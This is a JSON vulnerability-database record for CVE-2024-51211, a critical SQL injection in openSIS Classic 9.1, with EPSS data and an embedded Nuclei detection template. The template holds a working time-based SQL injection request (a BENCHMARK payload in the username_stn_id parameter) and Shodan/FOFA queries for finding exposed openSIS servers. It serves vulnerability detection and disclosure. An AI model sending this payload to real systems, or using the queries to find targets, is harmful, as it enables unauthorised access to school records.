{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-51211/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-51211/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-51211/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-51211/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-51211/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-51211"},"sightings":{"href":"/api/v1/sightings/cve-2024-51211"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.02256,"kev":false,"percentile":0.82199},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-51211.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-51211\n\ninfo:\n  name: openSIS Classic v9.1 - SQL Injection\n  author: Haliteroglu\n  severity: critical\n  description: |\n    SQL injection vulnerability exists in OS4ED openSIS-Classic Version 9.1, specifically in the resetuserinfo.php file. The vulnerability is due to improper input validation of the $username_stn_id parameter, which can be manipulated by an attacker to inject arbitrary SQL commands.\n  impact: |\n    Attackers can exploit this vulnerability to compromise system security and integrity.\n  remediation: |\n    Apply the latest security patches and updates to address this vulnerability.\n  reference:\n    - https://github.com/kutsa1/My-CVE/tree/main/CVE-2024-51211\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-51211\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-51211\n    cwe-id: CWE-89\n    epss-score: 0.02256\n    epss-percentile: 0.82199\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: title=\"openSIS\"\n    shodan-query: title:\"openSIS\"\n  tags: cve,cve2024,sqli,opensis,time-based-sqli,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 30s\n        GET /ResetUserInfo.php?user_type_form=username&uname_user_type=uname_student&username_stn_id=21+OR+3720%3dBENCHMARK(7000000,MD5(0x6e48446e))&pass=1&month_username_dob=x&day_username_dob=x&year_username_dob=x HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=7\"\n          - \"contains_all(tolower(body), 'forgotpass.php', 'opensis')\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a0046304402202054228956e71405735903b4df20d1f95e65de204936459daf17e0bd8db749d602207fd42c6db88078f23cdc6e1051630d1b33b67c7a3b1d8fa3667d88d5d85d5353:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-51211"}